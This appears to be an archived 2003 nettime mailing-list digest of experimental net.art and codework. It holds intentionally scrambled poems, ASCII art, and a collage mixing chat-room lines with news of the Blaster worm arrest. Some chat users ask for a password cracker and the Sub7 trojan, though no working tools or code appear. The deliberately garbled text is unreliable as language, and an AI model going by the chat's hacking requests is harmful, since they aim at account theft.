laureate corporation #0001\n\n\n+b.uT.b.uTb.uT[t+S\n\n                                                p+r+I.cK.I.cKI.cK\nG[i.Ve.i.Vei.Ve[S   S[T[i/S[T[iS][T[iS[T[i+L+l   V+A.MP.A.MPA.MP+i+R+e\n      /~\n\n                                                n[U.de.U.deU.de\np[h[O/p[h[Op][h[Op[h[O[t+o+S   P[H[O/P[H[OP][H[OP[H[O[T[o\ng[i[v/g[i[vg][i[vg[i[v.ES.v.ESv.ES\n\n\np[R[O/p[R[Op][R[Op[R[O+C.Ee.C.EeC.Ee+D   N[A+K.ED.K.EDK.ED\n     .sT.Ud.T.UdT.Ud[S\n     .NU+d+E\n      /~=   h.er.h.erh.er[E\n\n\nt[h[u/t[h[ut][h[ut[h[u+m+b+N.ai.N.aiN.ai+L+S\n[T[g+p\n\n     p+R+I.CK.I.CKI.CK   i[N[v/i[N[vi][N[vi[N[v[I.tE.I.tEI.tE[S\n\n                            s+o   S.HA.S.HAS.HA[R+e+S\n\n\nR+E+A.Dp.A.DpA.Dp[o[e/p[o[ep][o[ep[o[e+M+l\n      /~.gi+f   B[r[E/B[r[EB][r[EB[r[E[a[t.he.t.het.he\n\n                            s[t[I/s[t[Is][t[Is[t[I[l[l\n\n\np[r.Od.r.Odr.Od+u.ce.u.ceu.ce\n      /~\n\n                                                i   I\nT[e+e.nI.e.nIe.nI+e\n      /~=   s+O\n\n                                                M[E.at.E.atE.at\n[a[m[a/a[m[aa][m[aa[m[a[t[U[R/t[U[Rt][U[Rt[U[R.es.R.esR.es\n        t[E[E/t[E[Et][E[Et[E[E[N+y\n\n                                                a[n[D/a[n[Da][n[Da[n[D\nh.oL.h.oLh.oL+d\n      /~.Co[m\n\n                                                B.ab.B.abB.ab.eS\n\n                                                p+O+R+n+o\n\n                                                I+N+v+I.TE.I.TEI.TE+s\n\n\nR[E[p/R[E[pR][E[pR[E[p[E.AT.E.ATE.AT\n\n\nP[I[c/P[I[cP][I[cP[I[c[t.ur.t.urt.ur+e\n\n                                                c[u+N+T\n      /~\n\n                            s.he.s.hes.he   H.oL.H.oLH.oL[e\n\n                                         w[I[L/W[I[LW][I[LW[I[L[L\n\n                                                X+x+x\nI[n[v/I[n[vI][n[vI[n[v[I[t+E+s   R+E+P.ea.P.eaP.ea[T   H.oR.H.oRH.oR+s+e\n      /~   F[r.Ee.r.Eer.Ee\n      /~   F.rE.F.rEF.rE.NC+h\n      /~\n\n                                                R.eP.R.ePR.eP+e+a+t\n\n\ns.uB.S.uBS.uB.Ca.te.a.tea.te+g+O.Ri.O.RiO.Ri[e[s/i[e[si][e[si[e[s\n      /~\n        f[L+a.Sh.a.Sha.Sh+i+n+G\n\n\nB.es.B.esB.es+T+I.al.I.alI.al[I.TY.I.TYI.TY\nI.nv.I.nvI.nv[I+t.eS.t.eSt.eS   o+R\n\n\ni.Nv.i.Nvi.Nv[I[T/v[I[Tv][I[Tv[I[T.eS.T.eST.eS\nR[E+A.DP.A.DPA.DP[o.Em.o.Emo.Em[l\n      /~+g.If.g.Ifg.If\n      /~\n\n                                                P+R.Oc.R.OcR.Oc[e+e+D\nA+N.im.N.imN.im.Al\n\n                                                a.ni.a.nia.ni[m+A+l\n        t.hU.t.hUt.hU.mb+n+a+I.Ls.I.LsI.Ls\n     +T.Gp.T.GpT.Gp\ni+N.Vi.N.ViN.Vi[T[E/i[T[Ei][T[Ei[T[E[S   W+h+I+l+e\n\n                                                i+n+v.It.v.Itv.It[E+s\n\n\nf+l.as.l.asl.as[h+i.Ng.i.Ngi.Ng   g[r+a+s   e+R.OT.R.OTR.OT.iC\n      /~\n\n                            s.HA.S.HAS.HA+r.es.r.esr.es\nh+e.re.e.ree.re\n\n                                                C+o.CK.o.CKo.CK\n        T.He.T.HeT.He\n\n\nc[o[n/c[o[nc][o[nc[o[n[D+O+m\n        S[E+x+y\n\n                                         w.oM.w.oMw.oM[E+N\nb[r+e.aT.e.aTe.aT.He   T[O[p/T[O[pT][O[pT[O[p[s\n     .bO.Tt.O.TtO.Tt[o[m/t[o[mt][o[mt[o[m[s\n     +g+a.yS.a.ySa.yS\n      /~\n\n                                                m[E[A/m[E[Am][E[Am[E[A+t\n     .aM.at.M.atM.at[u[R/t[u[Rt][u[Rt[u[R.Es.R.EsR.Es\n        t.Ee.t.Eet.Ee+N+y   G[I.Ve.I.VeI.Ve+S   R[E+P+e+A+T\n\n                                                K+I+s+s+I+N+g\ng[i[R/g[i[Rg][i[Rg[i[R[L+F+R+I.en.I.enI.en+D\n      /~=&\n\n\nA[n[I/A[n[IA][n[IA[n[I+M+e   s.EX.s.EXs.EX   s[E[x/s[E[xs][E[xs[E[x\na[N[D/a[N[Da][N[Da[N[D\np[I[c/p[I[cp][I[cp[I[c.TU.c.TUc.TU[R+e\n        c[O[L/c[O[Lc][O[Lc[O[L+L.in.L.inL.in+s\nd[E[V/d[E[Vd][E[Vd[E[V+O+T+E+s\n\n\nR[e.pE.e.pEe.pE[A[T/E[A[TE][A[TE[A[T\nG+i.rL.i.rLi.rL[f+R+i.en.i.eni.en[D\nM+A.tU.A.tUA.tU+r+e\n      /~=   c+o.CK.o.CKo.CK\n\n                                                   S+u+c+k\n\n\nP[r[i/P[r[iP][r[iP[r[i[c[k\n\n                                                D[e+V+o+t+e+S\n\n                h[E[r/H[E[rH][E[rH[E[r+e   S[E[x/S[E[xS][E[xS[E[x\np[l[U/p[l[Up][l[Up[l[U[C+k+E+d   C.uN.C.uNC.uN+T   w+H+O\n      /~\n\n\nb[E[s/b[E[sb][E[sb[E[s[t.Ia.t.Iat.Ia+L+I+T+y\ns[o\n\n                                                O[f[f/O[f[fO][f[fO[f[f\n\n                                                c[o[c/c[o[cc][o[cc[o[c+K\n        f+o+r\n\n                                                G.Iv.G.IvG.Iv.Es\ns.ti.s.tis.ti[L+L   G.ir.G.irG.ir[l\n        d+I+c+K\n        m[y\n\n                            s[p+a.nK.a.nKa.nK\n      /~=   m.on.m.onm.on+t.HL.t.HLt.HL+Y\nM[O.nT.O.nTO.nT[H.lY.H.lYH.lY\n\n                                                g+I.VE.I.VEI.VE+S\nS[T[i/S[T[iS][T[iS[T[i[L[l   m.eS.m.eSm.eS[S[y/S[S[yS][S[yS[S[y\n      /~\n      /~\n\n                                                i.nV.i.nVi.nV+I+t+E+S\n\n                            s[T.oP.T.oPT.oP\n\n                                                F[R[e/F[R[eF][R[eF[R[e[E\n      /~   p+i+c+T.UR.T.URT.UR[e+s\n      /~\n        c+o.Ck.o.Cko.Ck\n\n                                                   S+U.ck.U.ckU.ck\n\n\n\n\naugust highland\n\nmuse apprentice guild\n--\"expanding the canon into the 21st century\"\nwww.muse-apprentice-guild.com\n\nculture animal\n--\"following in the footsteps of tradition\"\nwww.cultureanimal.com\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n---\nOutgoing mail is certified Virus Free.\nChecked by AVG anti-virus system (http://www.grisoft.com).\nVersion: 6.0.514 / Virus Database: 312 - Release Date: 8/28/2003\n\n\n\nYour use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/\n\n\n\n\nTo: _arc.hive_ {AT} lm.va.com.au\nFrom: \"+   lo_y.  +\" <loy {AT} myrealbox.com>\nSubject: Re:  The Illuminating Affliction #0001\nDate: Sat, 30 Aug 2003 14:52:43 +0200\n\nAt 00:17 29/08/03 -0700, August Highland wrote:\n>The Illuminating Affliction #0001\n>\n>\n>\n>                          #+i               S+t+I+l+L               C.aN\n\nTHe[ [h+e+dh[a.rd ~.mp[e/e[d #[nn[\n\n\n\n                          #++               .+k+[+[+S               K.s/\n\n      +T               W[a[d/th[a/t[.               +..b[H\nE[atst[h.[n[g\n\n      tI.n[.h+..n+h\n\n      /+h+o               0+[\n\n                          #               s[~[=/[/h[e[+[.[Y+S\n~.=\"+d.s#+U+S+[\n                     ..p[+/.[A+[               [./~.Mi[L[d/[[i[Et+[++\n\n      c.O[+[\n\n      ..h.[u\n\n      S[~[s.[i[n.[h[a..s               ++#+D\n~[s[f[rt[/\n           /i               +[+[#/u[S[00[0[0+H+E\n\n      [+h.o+[w[a/c[b[o/[\n\n      s[~t/.[t[otb[e[i[E               \".\"+[#[~/=[+[t.[r[~\n                     +..B./~+t+o\n\n      .[N\n\n      i+s+c               L.yH.e.[S               C[I+~+=\n                     [+/+H+i.sh               /+t+e.~.[p[e/tg[eE[n[g\n~[=++\n\n      t[~.=\"               s[t+H               v[E[A/r[~[Mp[Et+H.on[g\n           /.\n\n      O[S+[               [.+N+[+/               P.L[+/+[\nt/.[L+H.oR\nE[i.n.[e\n\n      [+++h\n           /g=\n                          #[t[h+E+R\n\nt               o+B+Y.+O               =.+E[~\n\n      [.[l\n\n      [=\n                          #[/.[n\n\nt               +.+s++\n\n                          #               /t++++\n/[=+[.[e[/tg[ew[e[t\no+u.Rd[~t/h[E[+i[S[0+0\n\n      E.D/\n\n      /+#+~.mp+E+[+#+[\n#+W.sH\n\n      .+u\n\n      S+[+[               .[N.T#\n           /i\n\n      [\n\n      c[k+++++.+G+0+0               /[h+O+~.~=               D+~\n\n      n[..h+[.               +..At.Ut/+=               e\nl[u[i/t/ts[h[o+b+B\n\n      .[M               .[N+O\n\n      [[/#[0[h+[.[i[n+t\n\n      .+p+L\n\n      +w\n\n      w[A.Rh\n           s               0.00[0               +..et./o[w.[w+i\nt+[h/E[AtE[T[h\n\n      ++/+h+E+R+0+1+[\n           /a=\n                          #[T.g[+/\n\n[+\n\n      E[/+.+P\n\n      R.E/\n\n      +..E[+[s=[+[.B[h[o\n                     t++#.[o\n\n      +               E.[d+[+H\n\n      +w               0.h+[+[./n[K[E#[0[1               N.o.+E\n\n      #+0+0+1++\n           /b\n\n      t+\n++[+T\n\n      #[0[0/0[0[01[.[n[g+[+h+i\n                     O[m               ..N+[A[l/W[EtN[Kt\n[+#+B+b               [.p\n__________//\n\n\n------------------------------------------------------------\n--------------lo--------------------------------------------\n                       -\n-----------------------y------------------------------------\n------------------------------------------------------------\n-------------rndTRz:\n\nhttp://lo-y.de.vu\nhttp://computerfinearts.com/collection/lo_y/030404\nhttp://www.google.com/search?q=lo_y\n------------------------------------------------------------\n------------------------------------------------------------\n\n\n\n\nDate: Mon, 1 Sep 2003 22:40:45 -0700 (PDT)\nFrom: Lewis LaCook <llacook {AT} yahoo.com>\nTo: 7-11 7-11 <7-11 {AT} mail.ljudmila.org>, arc.hive <_arc.hive_ {AT} lm.va.com.au>,\nSubject: [CC] strange chord movs\n\n22.\n\nllegal_intruder!: uno did explorer crash\nss_linky: hi Palm\ntransportus_layerus: oooh , i have ip sorcery\nNeighbor: 'I canent \"Blaster\" Internet attack was\ndescribenot believe he was doing any hacking'\nshewulf: it \"Blaster.B\" version.\n\"With this arrest, we want to deliver a message\ntepeatedly, eating up computer capacity.The worm\nreplicates itself repeatedly, eating up computer\ncapacity.id illegal\ntransportus_layerus: ill try\nillegal_intruder!: lol\n|||J|||U|||D|||G|||E|||: So fly wat have u been doing\nlately?\nAn 18-year-old high school student suspected of\ncreating a version of the viruld by a neighbor Friday\nas \"a computer genius,\" but not any one know hacking\nhello19812000: does any one know hacking\nhello19812000: does any one know hacking\nhello19812000: does any one know hacking\nhello19812000: does any one know hacking\nhello19812000: does any one know hacking\nLita: does neone have a yahoo password cracker of know\nwhan anyone could have predicted: joyous, profound,\nwell organized. At the late showhere i can get one\nthat works if so please im me\ntransportus_layerus: whats hacking , can you teach me\nshewulf: lol\nParson, described as 6-feet-4-inches tall and 320\npounds, appeared before r house arrest and forbade him\nf (36) at a tumultuous moment for jazz (1964), when a\nfreer idea of the music trom using his computer or the\nInternet.\nshewulf: hi again C0m\n|||J|||U|||D|||G|||E|||: So FLY WAT HAVE U BEEN DOING\nLATELY?\nudhasa01 joineThe worm replicates itself repeatedly,\neating up computer capters. During an interview with\nan FBI agent, court papers say, Parson acknowledged\nchanging the original \"o cyber-hacity.The worm\nreplicates itself repeatedly, eatider than dirt\nederal agents searched Parson's home August 19 and\nseized seven compuackers here and around the world,\"\nsaid U.S.ng up computer capacity.The worm replicates\nitself repeatedly, eating up computer capacity.d the\nroom\nfly0nthe_wall: powerpuss hleaped through wide interot\nonly on alto saxophone but also on flute and baerus:\nwhats hacworms can spread quietly and rapidly because\nthey often don't arrive as e-mail attachments, king ,\ncan you teach me shewu1f: lol shewuvals, propelled by\na handful of wild riffs of his own as found his life\noccupation\nHe's smart on the computer, but I cannot believe he\nwas doing any hacking,\" neighbor Bill McKittrick told\nThe Associated Press.\nquennrvm joined the room\n|||J|||U|||D|||G|||E|||:\nshewulf: hi flyonthewall\nLita: his\nLita: not his\nfly0nthe_wall: developing course materials and working\non a paper\nredpanther: anyone know where I can get sub7 prog?\nshewulf: yep i see u palm\n|||J|||U|||D|||G|||E|||: how old are u fly ?\nfly0nthe_wall: olAttor\nshewulf: can u see me?\nJer: thinking of playing the mic agian...\n|||J|||U|||D|||G|||E|||: i see. but ur age?\nillegal_intruder!: uno when some 1 pisses you off\nthatsure dThe worm replicates itself repeatedly,\neating up computer capacity.The worm replicates itself\nrBlaster'' worm and creating thes on java tell then to\nput that in explorer and say bye bye\nfly0nthe_wall: 42\nThe damaging, viruslike infection, known as \"Blaster,\"\nLovSan\" and \"MSBlast,\" wanizably derived from his\nbebop heroes. His themes, full of strange chord movs\nunleashed on the Internet weeks ago. Some experts said\nit hU.S. Magistrate Susan Nelson in St. Paul on Friday\nafternoon. She ordered him held undeas infectdlaster\"\ntook advantage of a flaw in ed more than 500,000\ncomputers across the globe and has qney John McKay in\nSeattle. \"Let there be no mistake about it,\ncyber-hacking is a crime. ... We will investigate,\narrest and prosecute cyber-hackers.\"uickly become one\nof the most widespre\n\npowerpuss_69_82 left the room\nillegal_intruder!: that wasnt me\nObi Wan: JER_SOUTH ...YOU NEED TO GET SOME Dad\ncomputer worms this year.\nshewulf: i c u c0m\n|||J|||U|||D|||G|||E|||:\n|||J|||U|||D|||G|||E|||:\n|||J|||U|||D|||G|||E|||: 42\n|||J|||U|||D|||G|||E|||:\nss_linky: palmbeach1401: un0 transportus_layy's own\nbrightly exotic, cutting sound n1f: hi again C0m\nshewulf: lol kk will do illegal\nIt does not damage data or programs. Computer security\nexperts say making it more difficultred on\nMicroso|||D|||G|||E|||: Man.\n|||J|||U|||D|||G|||E|||: Damn\n|||J|||U|||D|||G|||E|||:\nshewulf: now illegal how do i unlock my name\n>>un0wu1f?\n|||J|||U|||D|||G|||E|||: Obviously u know a lot of\nstuff.\n'All versions of the fast-spreading \"Bdows softwa for\ncomputer users to take note of the infection.\n|||J|||Uomputer users t of all Mr. Bartz. In fact,\neach player soundedto install a free patch offere.\nExperts urged cft's Web site after the software giant\nacknowledged the vulnerability July 16.CENT MUSIC\n..THAT SHIT SUCK'S\nshewulf: o0o it wasnt?\nblitzfreeeze joined therequently, brought down\nnetworks and dily0nthe_wall: and do security auditing\non the side\nillegal_intruMicrosoft Corp.'s popular Winer!: mina\ncriminal.\nshewulf: that was intresting\nhello19812000: doee is mikrosoftserver {AT} fbi.gov\nshewulf: l room\nJer: what do you want?\nThe infection prompted computers to reboot ol  {AT}  911\n|||J|||U|||D|||G|||E|||: thsrupted users' Internet\nbrowsieveux ch\u00e2tain\ndark hair cheveux fonc\u00e9s\ncurly hair cheveux fris\u00e9s\ngray hairng. It also left behind a love note on\ninfected PCs: \"I just want to say LOVE YOU SAN!\"\nillegal_intruder!: no\n|||J|||U|||D|||G|||E|||:\nshewulf: well some other dorks being naughty then?\nss_linky: you're most welchind the next that didn't\ndilute the power of the originals.\nMr. Reed, in particular, wasn't cowed by the material\noome happy to be of service\nshewulf: 4 days?\nshewulf: lol\nshewulf: says 12 hours\nshewulf: lol\nredpanther7777666 left the room\nshewulf: o0o well\nillegal_intruder!: but if u log into another yahoo\nserver it will unlock the name\n|||J|||U|||D|||G|||E|||:\nss_linky: mine was ok the next day uno\nblitzfreeeze: hit 999 if you deal with trojans or pmir\ncheveux lisses\nblack hair cheveux noirs\nred hair cheveux roux\nof medium height de taille moyenne\ntall grand/e me plz !\nshewulf: it will intruder?\n\nblitzfreeeze: hit 999 if you deal with trojans or pm\nme plz !\nshewulf: ill try that later\nillegal_intruder!: yep\nblitzfreeeze: hit 999 if you deal with trojans or pm\nme plz !\nmuffinmanatk joined the room\n|||J|||U|||D|||G|||E|||:\nObi Wan: No but i am just now\nshewulf: i only have one email addy tho steven\nJer: tell me what you want\nquennrvm: hit 911 if you have to deal with idiots here\nss_linky left the room\nshewulf: lol {AT}  911\nmuffinmanatk: 911\nJer: I'm trying to listen to someting before I go to\nbed...\nshewulf: o0o u mean i have a yahoo email account?\nshewulf: lol\nshewulf: my im dense\n|||J|||U|||D|||G|||E|||: Hey fly wats ur profession?\n|||J|||U|||D|||G|||E|||: Like wat do u do?\nJer: come on\nJer: hurry\nfly0nthe_wall: i teach network security at a\nuniversity\nquennrvm: omg just reading these lines my hair hurts\n|||J|||U|||D|||G|||E|||: kool.\nmuffinmanatk: the government hacks, so why csh French\ntan(ned) bronz\u00e9/e\nbald chauve\nblond hair cheveux blonds\nbrown hant we?\nfatz great\nloveme2beyours joined the room\nshewulf: thats a nice email addy\n|||J|||U|||D|||G|||E|||: emphasizing on security\n|||J|||U|||D|||G|||E|||: hmm good.\nJer: ok - going for the indus\nshewulf: but i hardly ever read emails\n\nloveme2beyours: greetings\n\n\n=====\n\n\nNEW!!!--Dirty Milk--reactive poem for microphone http://www.lewislacook.com/DirtyMilk/\n\nhttp://www.lewislacook.com/\n\ntubulence artist studio:  http://turbulence.org/studios/lacook/index.html\n\n\n\n\n\n\n\n\n\nDate:         Wed, 3 Sep 2003 12:08:13 -0700\nFrom: MWP <mpalmer {AT} JPS.NET>\nSubject: 2 Moire Displacements - LINK\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nMOIRE DISPLACEMENTS 01f2\n5678\n\nif ($xxxx !~ $xxx2\n\n$text = \"yes\n\nno\n\n\";\n\n\nhttp://www.aroseisaroseisarose.com/MD01f2.html\n\n\n# # #\n\nMOIRE DISPLACEMENTS 01f3\n5678\n\nif ($xxxx =~ $xxx2\n\n$text = \"yes\n\nno\n\n\";\n\n\nhttp://www.aroseisaroseisarose.com/MD01f3.html\n\n\n\n\n\nnettime unstable digest vol 63\nSun Sep  7 16:44:08 2003\n\n\nSubject: ASRF/0.2\n    From: HUB <hub {AT} x-arn.org>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: Virus Strings to Send to Rumania\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: ____mar____memory_acess_random________________________________3_/_3_\n    From: & =?iso-8859-1?Q?=2D=21=BB=2D=AB?= <sier {AT} alunos.fcsh.unl.pt>\n    To: syndicate {AT} anart.no, sier {AT} alunos.fcsh.unl.pt\n\nSubject: (no subject)\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\n\nSubject: transluminational laureate corporation #0001\n    From: August Highland <hmfah3 {AT} hotmail.com>\n    To: webartery {AT} yahoogroups.com\n\nSubject: Re:  The Illuminating Affliction #0001\n    From: \"+   lo_y.  +\" <loy {AT} myrealbox.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: [CC] strange chord movs\n    From: Lewis LaCook <llacook {AT} yahoo.com>\n    To: 7-11 7-11 <7-11 {AT} mail.ljudmila.org>, arc.hive <_arc.hive_ {AT} lm.va.com.au>,\n\nSubject: 2 Moire Displacements - LINK\n    From: MWP <mpalmer {AT} JPS.NET>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n\nlurking editors\n\nbeatrice beaubien <webmaven {AT} i2eye.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Tue, 9 Sep 2003 12:06:06 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200309091322.h89DMYJ16511 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0309/msg00053.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 63"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00016",
                "content": "\nDate: Mon, 25 Aug 2003 13:20:50 +0200\nFrom: fmadre {AT} free.fr\nTo: syndicate {AT} anart.no\nSubject: Re:  Re: 10 good reasons for net.art\n\nSelon Anna Balint <epistolaris {AT} freemail.hu>:\n> i guess you  were just testing whether anybody reads your messages.\n\n**************************************************************************\n*****************************************ii*******************************\n***tt************************************ii*******************************\n***tt*********************************************************************\n***tt*********************************************************************\n**ttttt***eeeee****rr*rr*mm*mmmm**mmmm***ii*******************************\n**ttttt**eeeeeee***rrrrr*mmmmmmm*mmmmmm**ii*******************************\n***tt***eee   ee***rrr***mmm***mmm***mm**ii*******************************\n***tt***ee     ee**rr****mm****mm****mm**ii*******************************\n***tt***eeeeeeeee**rr****mm****mm****mm**ii*******************************\n***tt***eeeeeeeee**rr****mm****mm****mm**ii*******************************\n***tt***ee*********rr****mm****mm****mm**ii*******************************\n***tt***eee****ee**rr****mm****mm****mm**ii*******************************\n***tttt**eeeeeee***rr****mm****mm****mm**ii*******************************\n****ttt***eeeee****rr****mm****mm***tmm**ii*******************************\n************************************tt************************************\n*************ssss**yy****yy**ssss**tttt**eeee***mmmmmmmmm*****************\n************ss**ss*yy****yy*ss**ss**tt**ee  ee**mm**mm**mm****************\n************ss******yy**yy**ss******tt**eeeeee**mm**mm**mm****************\n*************ssss***yy**yy***ssss***tt**ee******mm**mm**mm****************\n****************ss***yyyy*******ss**tt**ee******mm**mm**mm****************\n************ss**ss***yyll***ss**ss**tt**ee**ee**mm**mm**mm****************\n*************ssss*****yll****ssss****tt**eeee***mm**mm**mm****************\n**********************yll*************************************************\n*********************yyll*****************************|*******************\n***nn*nnnn*****aaaaayy*ll*****************************|*******************\n***nnnnnnnn**aaaaaaaa**ll*****************************|*******************\n***nnn***nn**aa****aa**ll*****************************|*******************\n***nn****nn******aaaa**ll*****************************|*******************\n***nn****nn***aaaaaaa**ll**************reason*1.******|*******************\n***nn****nn**aaaa  aa**ll*****************************|*******************\n***nn****nn**aa    aa**ll*****************************|*******************\n***nn****nn**aa   aaa**ll*****************************|*******************\n***nn****nn**aaaaaaaa**ll*****************************|*******************\n***nn****nn***aaaa**aa*ll*****************************|*******************\n******************************************************|*******************\n******************************************************|*******************\n******************************************************|*******************\n******************************************************|*******************\n******************************************************|*******************\n******************************************************|*******************\n******************************************************|*******************\n******************************************************|*******************\n******************************************************|*******************\n**************************************************************************\n**************************************************************************\n\nf.\n\n\n\nTo: nettime-l {AT} bbs.thing.net\nFrom: trashconnection <www {AT} trashconnection.com>\nSubject: PLEASE DO NOT SPAM ART\nDate: Thu, 28 Aug 2003 00:30:45 +0200 (METDST)\n\nPlease do not spam!!\nPlease do not spam!!\nPlease do not spam!!\nPlease do not spam!!\nPlease do not spam!!\nPlease do not spam!!\n\nhttp://spam.trashconnection.com/\n\n\n\nDate: Wed, 27 Aug 2003 01:08:06 -0700\nFrom: August Highland <hmfah {AT} HOTMAIL.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: ACT  T Thr\n\nACT  T Thr\n\n\n\nGta  v val      gca  a ala      gaa  e glu      gga  g gly CTA  L Leu\nCCA  P Pro      CAA  Q Gln      CGA  R Arg ATT  I Ile i    ACT  T Thr\nAAT  N Asn      AGT  S Ser.  Gtt  v val      gct  a ala      gat  d asp\nggt  g gly TTA  L Leu      TCA  S Ser      TAA  * Ter      TGA  * Ter\nATG  M Met i    ACG  T Thr      AAG  K Lys      AGG  R Arg.  Ttc  f phe\ntcc  s ser      tac  y tyr      tgc  c cys, TTT  F Phe      TCT  S Ser\nTAT  Y Tyr      TGT  C Cys CTT  L Leu      CCT  P Pro      CAT  H His\nCGT  R Arg.  Ctc  l leu      ccc  p pro      cac  h his      cgc  r arg,\nGTT  V Val      GCT  A Ala      GAT  D Asp      GGT  G Gly CTA  L Leu\nCCA  P Pro      CAA  Q Gln      CGA  R Arg.\n\n\nTta  l leu      tca  s ser      taa  * ter      tga  * ter, TTC  F Phe\nTCC  S Ser      TAC  Y Tyr      TGC  C Cys CTA  L Leu      CCA  P Pro\nCAA  Q Gln      CGA  R Arg.  Atc  i ile i    acc  t thr      aac  n asn\nagc  s ser TTC  F Phe      TCC  S Ser      TAC  Y Tyr      TGC  C Cys\nCTC  L Leu      CCC  P Pro      CAC  H His      CGC  R Arg.  Ata  i ile\ni    aca  t thr      aaa  k lys      aga  r arg TTT  F Phe      TCT  S\nSer      TAT  Y Tyr      TGT  C Cys GTA  V Val      GCA  A Ala      GAA\nE Glu      GGA  G Gly.  Atg  m met i    acg  t thr      aag  k lys\nagg  r arg, ATG  M Met i    ACG  T Thr      AAG  K Lys      AGG  R Arg\nTTC  F Phe      TCC  S Ser      TAC  Y Tyr      TGC  C Cys.\n\n\nAta  i ile i    aca  t thr      aaa  k lys      aga  r arg GTA  V Val\nGCA  A Ala      GAA  E Glu      GGA  G Gly CTT  L Leu      CCT  P Pro\nCAT  H His      CGT  R Arg.  Ttt  f phe      tct  s ser      tat  y tyr\ntgt  c cys GTC  V Val      GCC  A Ala      GAC  D Asp      GGC  G Gly\nTTT  F Phe      TCT  S Ser      TAT  Y Tyr      TGT  C Cys.  Atg  m met\ni    acg  t thr      aag  k lys      agg  r arg GTC  V Val      GCC  A\nAla      GAC  D Asp      GGC  G Gly ATT  I Ile i    ACT  T Thr      AAT\nN Asn      AGT  S Ser.\n\n\nCta  l leu      cca  p pro      caa  q gln      cga  r arg GTA  V Val\nGCA  A Ala      GAA  E Glu      GGA  G Gly ATC  I Ile i    ACC  T Thr\nAAC  N Asn      AGC  S Ser.  Gtg  v val i    gcg  a ala      gag  e glu\nggg  g gly ATT  I Ile i    ACT  T Thr      AAT  N Asn      AGT  S Ser.\nAtt  i ile i    act  t thr      aat  n asn      agt  s ser, ATA  I Ile i\nACA  T Thr      AAA  K Lys      AGA  R Arg TTA  L Leu      TCA  S Ser\nTAA  * Ter      TGA  * Ter.  Ctg  l leu i    ccg  p pro      cag  q gln\ncgg  r arg TTT  F Phe      TCT  S Ser      TAT  Y Tyr      TGT  C Cys\nATC  I Ile i    ACC  T Thr      AAC  N Asn      AGC  S Ser.  Ctt  l leu\ncct  p pro      cat  h his      cgt  r arg, TTC  F Phe      TCC  S Ser\nTAC  Y Tyr      TGC  C Cys GTT  V Val      GCT  A Ala      GAT  D Asp\nGGT  G Gly.\n\n\nCtg  l leu i    ccg  p pro      cag  q gln      cgg  r arg CTA  L Leu\nCCA  P Pro      CAA  Q Gln      CGA  R Arg.  Ctc  l leu      ccc  p pro\ncac  h his      cgc  r arg, TTG  L Leu i    TCG  S Ser      TAG  * Ter\nTGG  W Trp CTA  L Leu      CCA  P Pro      CAA  Q Gln      CGA  R Arg.\nCtg  l leu i    ccg  p pro      cag  q gln      cgg  r arg CTG  L Leu i\nCCG  P Pro      CAG  Q Gln      CGG  R Arg.  Ttg  l leu i    tcg  s ser\ntag  * ter      tgg  w trp CTT  L Leu      CCT  P Pro      CAT  H His\nCGT  R Arg TTG  L Leu i    TCG  S Ser      TAG  * Ter      TGG  W Trp.\n\n\nTtc  f phe      tcc  s ser      tac  y tyr      tgc  c cys, TTT  F Phe\nTCT  S Ser      TAT  Y Tyr      TGT  C Cys GTC  V Val      GCC  A Ala\nGAC  D Asp      GGC  G Gly.  Cta  l leu      cca  p pro      caa  q gln\ncga  r arg, GTT  V Val      GCT  A Ala      GAT  D Asp      GGT  G Gly\nATA  I Ile i    ACA  T Thr      AAA  K Lys      AGA  R Arg.  Ata  i ile\ni    aca  t thr      aaa  k lys      aga  r arg, TTC  F Phe      TCC  S\nSer      TAC  Y Tyr      TGC  C Cys ATG  M Met i    ACG  T Thr      AAG\nK Lys      AGG  R Arg.\n\n\nAta  i ile i    aca  t thr      aaa  k lys      aga  r arg TTA  L Leu\nTCA  S Ser      TAA  * Ter      TGA  * Ter CTT  L Leu      CCT  P Pro\nCAT  H His      CGT  R Arg.  Ttc  f phe      tcc  s ser      tac  y tyr\ntgc  c cys TTC  F Phe      TCC  S Ser      TAC  Y Tyr      TGC  C Cys\nATT  I Ile i    ACT  T Thr      AAT  N Asn      AGT  S Ser.  Ctg  l leu\ni    ccg  p pro      cag  q gln      cgg  r arg, CTT  L Leu      CCT  P\nPro      CAT  H His      CGT  R Arg ATA  I Ile i    ACA  T Thr      AAA\nK Lys      AGA  R Arg.  Gtg  v val i    gcg  a ala      gag  e glu\nggg  g gly, ATT  I Ile i    ACT  T Thr      AAT  N Asn      AGT  S Ser\nGTC  V Val      GCC  A Ala      GAC  D Asp      GGC  G Gly.  Ata  i ile\ni    aca  t thr      aaa  k lys      aga  r arg TTG  L Leu i    TCG  S\nSer      TAG  * Ter      TGG  W Trp TTT  F Phe      TCT  S Ser      TAT\nY Tyr      TGT  C Cys.\n\n\nTtt  f phe      tct  s ser      tat  y tyr      tgt  c cys GTT  V 